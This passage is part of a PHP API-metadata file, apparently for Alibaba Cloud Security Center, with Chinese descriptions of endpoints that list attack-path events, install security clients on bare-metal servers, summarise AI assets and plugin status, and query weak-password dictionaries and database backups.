您可以调用[ListSupportAttackPathAsset](~~ListSupportAttackPathAsset~~)查询云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '17', + ], + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。'."\n" + ."\n" + .'> 您可以调用[ListSupportAttackPathAsset](~~ListSupportAttackPathAsset~~)查询云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + 'NodeType' => [ + 'description' => '节点类型，取值：'."\n" + .'- **start**：起点。'."\n" + .'- **end**：终点。', + 'type' => 'string', + 'required' => false, + 'example' => 'start', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'PathType', + 'in' => 'query', + 'schema' => [ + 'description' => '路径类型。'."\n" + .'> 您可以调用[ListAvailableAttackPath](~~ListAvailableAttackPath~~)查询路径类型。', + 'type' => 'string', + 'required' => false, + 'example' => 'role_escalation', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', + ], + 'AttackPathEventList' => [ + 'description' => '攻击路径事件列表。', + 'type' => 'array', + 'items' => [ + 'description' => '攻击路径事件。', + 'type' => 'object', + 'properties' => [ + 'PathType' => [ + 'description' => '路径类型。', + 'type' => 'string', + 'example' => 'role_escalation', + ], + 'PathName' => [ + 'description' => '路径名称。', + 'type' => 'string', + 'example' => 'ecs_get_credential_by_create_login_profile', + ], + 'PathNameDesc' => [ + 'description' => '路径名称描述。', + 'type' => 'string', + 'example' => 'ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User', + ], + 'RiskLevel' => [ + 'description' => '风险等级。', + 'type' => 'string', + 'example' => 'suspicious', + ], + 'SrcAsset' => [ + 'description' => '起点资产。', + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '云产品资产实例的ID。', + 'type' => 'string', + 'example' => 'i-bp18ifsr1tu1dx39****', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RegionId' => [ + 'description' => '云产品资产实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SensitiveAssetFlag' => [ + 'description' => '敏感资产标识。取值：'."\n" + .'- **0**：非敏感资产。'."\n" + .'- **1**：敏感资产。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + ], + ], + 'LastTime' => [ + 'description' => '最新发现时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1742869699000', + ], + 'DstAsset' => [ + 'description' => '终点资产。', + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '云产品资产实例的ID。', + 'type' => 'string', + 'example' => 'i-uf6a1tt9umxwoxqn****', + ], + 'AssetType' => [ + 'description' => '云产品资产的类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AssetSubType' => [ + 'description' => '云产品资产的子类型。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'Vendor' => [ + 'description' => '云产品资产厂商。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '云产品资产实例所在的地域的ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'SensitiveAssetFlag' => [ + 'description' => '敏感资产标识。取值：'."\n" + .'- **0**：非敏感资产。'."\n" + .'- **1**：敏感资产。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + 'EventId' => [ + 'description' => '告警事件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'PathTypeDesc' => [ + 'description' => '路径类型描述。', + 'type' => 'string', + 'example' => 'Privilege Escalation by Role', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '返回数据每页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '30', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"AttackPathEventList\\": [\\n {\\n \\"PathType\\": \\"role_escalation\\",\\n \\"PathName\\": \\"ecs_get_credential_by_create_login_profile\\",\\n \\"PathNameDesc\\": \\"ECS Instance Can Obtain Long-term Access Credential by Enabling Console Logon for RAM User\\",\\n \\"RiskLevel\\": \\"suspicious\\",\\n \\"SrcAsset\\": {\\n \\"InstanceId\\": \\"i-bp18ifsr1tu1dx39****\\",\\n \\"AssetType\\": 0,\\n \\"AssetSubType\\": 1,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"Vendor\\": 0,\\n \\"SensitiveAssetFlag\\": 0\\n },\\n \\"LastTime\\": 1742869699000,\\n \\"DstAsset\\": {\\n \\"InstanceId\\": \\"i-uf6a1tt9umxwoxqn****\\",\\n \\"AssetType\\": 1,\\n \\"AssetSubType\\": 0,\\n \\"Vendor\\": 0,\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"SensitiveAssetFlag\\": 1\\n },\\n \\"EventId\\": 123,\\n \\"PathTypeDesc\\": \\"Privilege Escalation by Role\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 20\\n }\\n}","type":"json"}]', + 'title' => '查询攻击路径事件列表', + ], + 'GetAttackPathEventStatistics' => [ + 'summary' => '查询攻击路径事件统计。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '226465', + 'abilityTreeNodes' => [ + 'FEATUREsasAIJXMJ', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '89AD16CC-97EE-50F3-9B12-9E28E5C8****', + ], + 'TotalPathRiskNum' => [ + 'description' => '风险路径数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '10', + ], + 'SeriousPathRiskNum' => [ + 'description' => '需紧急处理的攻击路径数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'TotalAssetRiskNum' => [ + 'description' => '风险资产数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '5', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"89AD16CC-97EE-50F3-9B12-9E28E5C8****\\",\\n \\"TotalPathRiskNum\\": 10,\\n \\"SeriousPathRiskNum\\": 1,\\n \\"TotalAssetRiskNum\\": 5\\n}","type":"json"}]', + 'title' => '查询攻击路径事件统计', + ], + 'InstallAegisForLingjun' => [ + 'summary' => '灵骏裸金属安装云安全中心客户端。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '257541', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'autoTest' => false, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '灵骏裸金属唯一识别UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '灵骏裸金属唯一识别UUID。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'inet-8e3fbd56-122c-4011-b692-4d048076****', + ], + 'required' => false, + 'enumValueTitles' => [], + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'InvokeTasks' => [ + 'description' => '返回的安装任务列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuids' => [ + 'title' => '资产uuid', + 'description' => '灵骏裸金属唯一识别UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '灵骏裸金属唯一识别UUID。', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'inet-8e3fbd56-122c-4011-b692-4d048076****', + ], + ], + 'InvokeId' => [ + 'title' => '灵骏机器的安装任务id', + 'description' => '灵骏机器的安装任务ID。', + 'type' => 'string', + 'example' => 't-hz05r677e6w****', + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InvokeTasks\\": [\\n {\\n \\"Uuids\\": [\\n \\"inet-8e3fbd56-122c-4011-b692-4d048076****\\"\\n ],\\n \\"InvokeId\\": \\"t-hz05r677e6w****\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', + 'title' => '灵骏裸金属安装云安全中心客户端', + ], + 'ListAegisForLingjunStatus' => [ + 'summary' => '查询灵骏裸金属的云安全中心客户端安装结果。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '257541', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'autoTest' => false, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '灵骏裸金属唯一识别UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '灵骏裸金属唯一识别UUID。'."\n" + ."\n" + .'> 您可以调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'inet-a6444920-d303-4ccf-ab87-a1d3cd49****', + ], + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => '返回结果。', + 'type' => 'object', + 'properties' => [ + 'InvokeTasks' => [ + 'description' => '返回的安装任务列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '灵骏裸金属唯一识别UUID。', + 'type' => 'string', + 'example' => 'inet-8e3fbd56-122c-4011-b692-4d048076****'."\n", + ], + 'InvokeId' => [ + 'title' => '灵骏机器的安装任务id', + 'description' => '灵骏机器的安装任务ID。', + 'type' => 'string', + 'example' => 't-bj05dlbzple****', + ], + 'Status' => [ + 'description' => '安装状态。取值：'."\n" + .' - **1**：安装成功'."\n" + .'- **0**：安装失败', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Result' => [ + 'description' => '安装处理结果。取值：'."\n" + .'- success：安装成功'."\n" + .'- fail：安装失败', + 'type' => 'string', + 'example' => 'success', + ], + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InvokeTasks\\": [\\n {\\n \\"Uuid\\": \\"inet-8e3fbd56-122c-4011-b692-4d048076****\\\\n\\",\\n \\"InvokeId\\": \\"t-bj05dlbzple****\\",\\n \\"Status\\": 1,\\n \\"Result\\": \\"success\\"\\n }\\n ],\\n \\"Success\\": true,\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', + 'title' => '查询灵骏裸金属的云安全中心客户端安装结果', + ], + 'DescribeAIAssetSummary' => [ + 'summary' => '查看用户AI资产总览。', + 'path' => '', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + 'tenantRelevance' => 'tenant', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TotalAssetCnt' => [ + 'description' => 'AI资产总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '25', + ], + 'PaiInstanceCnt' => [ + 'description' => 'PAI的云资产实例总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '17', + ], + 'PaiServerlessAssetCnt' => [ + 'description' => 'PAI的Serverless资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'PaiContainerCnt' => [ + 'description' => 'PAI的容器镜像资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'LingjunAssetCnt' => [ + 'description' => '灵骏资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'EcsAssetCnt' => [ + 'description' => '安装AI组件的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'ImageAssetCnt' => [ + 'description' => 'AI镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'SnapshotAssetCnt' => [ + 'description' => 'AI快照数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'AispmRiskAssetCnt' => [ + 'description' => '有AI安全态势管理风险的云资产数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '15', + ], + 'VulRiskAssetCnt' => [ + 'description' => '有AI应用漏洞的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'ExposedRiskAssetCnt' => [ + 'description' => '有暴露的AI组件的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'SensitiveSummary' => [ + 'description' => '存在AI相关密钥明文存储的资产概况。', + 'type' => 'object', + 'properties' => [ + 'TotalCnt' => [ + 'description' => '存在AI相关密钥明文存储的资产总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'EcsCnt' => [ + 'description' => '无代理扫描检测存在AI相关密钥明文存储的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'SnapshotCnt' => [ + 'description' => '无代理扫描检测存在AI相关密钥明文存储的快照数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'ImageCnt' => [ + 'description' => '无代理扫描检测存在AI相关密钥明文存储的镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'ContainerImageCnt' => [ + 'description' => '镜像扫描检测存在AI相关密钥明文存储的镜像数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + ], + ], + 'TotalRiskCnt' => [ + 'description' => '存在AI风险的资产总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '26', + ], + ], + ], + ], + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Data\\": {\\n \\"TotalAssetCnt\\": 25,\\n \\"PaiInstanceCnt\\": 17,\\n \\"PaiServerlessAssetCnt\\": 0,\\n \\"PaiContainerCnt\\": 2,\\n \\"LingjunAssetCnt\\": 0,\\n \\"EcsAssetCnt\\": 2,\\n \\"ImageAssetCnt\\": 2,\\n \\"SnapshotAssetCnt\\": 2,\\n \\"AispmRiskAssetCnt\\": 15,\\n \\"VulRiskAssetCnt\\": 2,\\n \\"ExposedRiskAssetCnt\\": 0,\\n \\"SensitiveSummary\\": {\\n \\"TotalCnt\\": 9,\\n \\"EcsCnt\\": 1,\\n \\"SnapshotCnt\\": 4,\\n \\"ImageCnt\\": 3,\\n \\"ContainerImageCnt\\": 1\\n },\\n \\"TotalRiskCnt\\": 26\\n }\\n}","type":"json"}]', + 'title' => '查询AI资产总览', + ], + 'DescribePluginSummary' => [ + 'summary' => '查看客户端插件安装状态统计数据。', + 'path' => '', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'PluginName', + 'in' => 'query', + 'schema' => [ + 'description' => '插件名称，取值：'."\n" + ."\n" + .'- alinet：AliNet。'."\n" + ."\n" + .'- alisecguard：自保护。'."\n" + ."\n" + .'- alihips：AliHips。', + 'type' => 'string', + 'required' => false, + 'example' => 'alihips', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '1383B0DB-D5D6-4B0C-9E6B-75939C8E****', + ], + 'Data' => [ + 'description' => '插件数据详情。', + 'type' => 'object', + 'properties' => [ + 'OnlineCnt' => [ + 'description' => '插件在线的主机数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'OfflineCnt' => [ + 'description' => '插件离线的主机数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'FailedCnt' => [ + 'description' => '插件安装失败的主机数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'SwitchOffCnt' => [ + 'description' => '未开启插件开关的主机数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'TotalCnt' => [ + 'description' => '主机数量总和。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'FailedReasons' => [ + 'description' => '安装失败原因数据。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Reason' => [ + 'description' => '插件安装失败原因。', + 'type' => 'string', + 'example' => 'Other', + ], + 'Count' => [ + 'description' => '由于该原因导致安装失败的主机数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Code' => [ + 'description' => '安装失败错误码。', + 'type' => 'string', + 'example' => '-1', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"1383B0DB-D5D6-4B0C-9E6B-75939C8E****\\",\\n \\"Data\\": {\\n \\"OnlineCnt\\": 10,\\n \\"OfflineCnt\\": 2,\\n \\"FailedCnt\\": 3,\\n \\"SwitchOffCnt\\": 5,\\n \\"TotalCnt\\": 20,\\n \\"FailedReasons\\": [\\n {\\n \\"Reason\\": \\"Other\\",\\n \\"Count\\": 3,\\n \\"Code\\": \\"-1\\"\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '查看客户端插件安装状态统计数据', + ], + 'DescribeCustomizedDict' => [ + 'summary' => '查看自定义弱口令上传结果', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '58.240.XX.XX', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '阿里云为该请求生成的唯一标识符。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX', + ], + 'FileName' => [ + 'description' => '弱口令OSS文件名称。', + 'type' => 'string', + 'example' => 'test_dict.plain'."\n", + ], + 'OssUrl' => [ + 'description' => 'OSS对象地址。', + 'type' => 'string', + 'example' => 'cloudtest01/661767e1-5ae3-4ec5-865f-03039436893a/sacc2*****', + ], + 'UploadTime' => [ + 'description' => '上传时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1719919421', + ], + 'Limit' => [ + 'description' => '添加弱口令规则数量上限。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'Count' => [ + 'description' => '当前已添加弱口令规则数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'FileSize' => [ + 'description' => '文件大小，单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '40'."\n", + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-XXXXXXXXX\\",\\n \\"FileName\\": \\"test_dict.plain\\\\n\\",\\n \\"OssUrl\\": \\"cloudtest01/661767e1-5ae3-4ec5-865f-03039436893a/sacc2*****\\",\\n \\"UploadTime\\": 1719919421,\\n \\"Limit\\": 9,\\n \\"Count\\": 1,\\n \\"FileSize\\": 40\\n}","type":"json"}]', + 'title' => '查询自定义弱口令', + ], + 'ListUniBackupRecord' => [ + 'summary' => '查询数据库备份记录列表', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '248537', + 'abilityTreeNodes' => [ + 'FEATUREsas7JO011', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'BackupRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索备份服务所在地域。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-shanghai', + ], + ], + [ + 'name' => 'MachineRemark', + 'in' => 'query', + 'schema' => [ + 'title' => '', + 'description' => '要查询的防勒索策略防护的服务器的识别信息。可输入服务器的IP地址或实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => '1.1.XX.XX', + ], + ], + [ + 'name' => 'State', + 'in' => 'query', + 'schema' => [ + 'description' => '备份状态。取值：'."\n" + .'- **completed**：成功'."\n" + .'- **error**：失败'."\n" + .'- **canceled**：关闭', + 'type' => 'string', + 'required' => false, + 'example' => 'completed', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，设置当前页面的页码。默认值为**1**。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'title' => '', + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'maximum' => '200', + 'minimum' => '10', + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', + ], + 'UniBackupRecordList' => [ + 'description' => '数据库备份记录列表。', + 'type' => 'array', + 'items' => [ + 'description' => '数据库备份记录。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '5d13e7cf-8074-4ffe-ab3b-1046565a****', + ], + 'InstanceUuid' => [ + 'description' => '服务器数据库实例唯一ID。', + 'type' => 'string', + 'example' => '18d04f2a496811ef800000163e13****', + ], + 'Subtype' => [ + 'description' => '备份类型，取值：'."\n" + ."\n" + .'- *full*：全量备份'."\n" + .'- *incremental*：增量备份', + 'type' => 'string', + 'example' => 'full', + ], + 'DatabaseType' => [ + 'description' => '数据库类型，取值如下：'."\n" + ."\n" + .'- **MYSQL**'."\n" + .'- **ORACLE**'."\n" + .'- **MSSQL**', + 'type' => 'string', + 'example' => 'MYSQL', + ], + 'BackupStartTime' => [ + 'description' => '备份开始时间，格式为时间戳（单位为毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1729071306', + ], + 'BackupEndTime' => [ + 'description' => '备份结束时间，格式为时间戳（单位为毫秒）。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1729071307', + ], + 'DatabaseName' => [ + 'description' => '数据库名称。', + 'type' => 'string', + 'example' => 'test_MySQL11', + ], + 'State' => [ + 'description' => '备份状态。取值：'."\n" + .'- **completed**：成功'."\n" + .'- **error**：失败'."\n" + .'- **canceled**：关闭', + 'type' => 'string', + 'example' => 'completed', + ], + 'ErrorMessageList' => [ + 'description' => '备份错误信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '备份错误信息。', + 'type' => 'string', + 'example' => 'Inner Error.', + ], + ], + 'InstanceName' => [ + 'description' => '服务器名称。', + 'type' => 'string', + 'example' => 'launch-advisor-20190410', + ], + 'Ip' => [ + 'description' => '服务器的IP。'."\n" + ."\n" + .'> 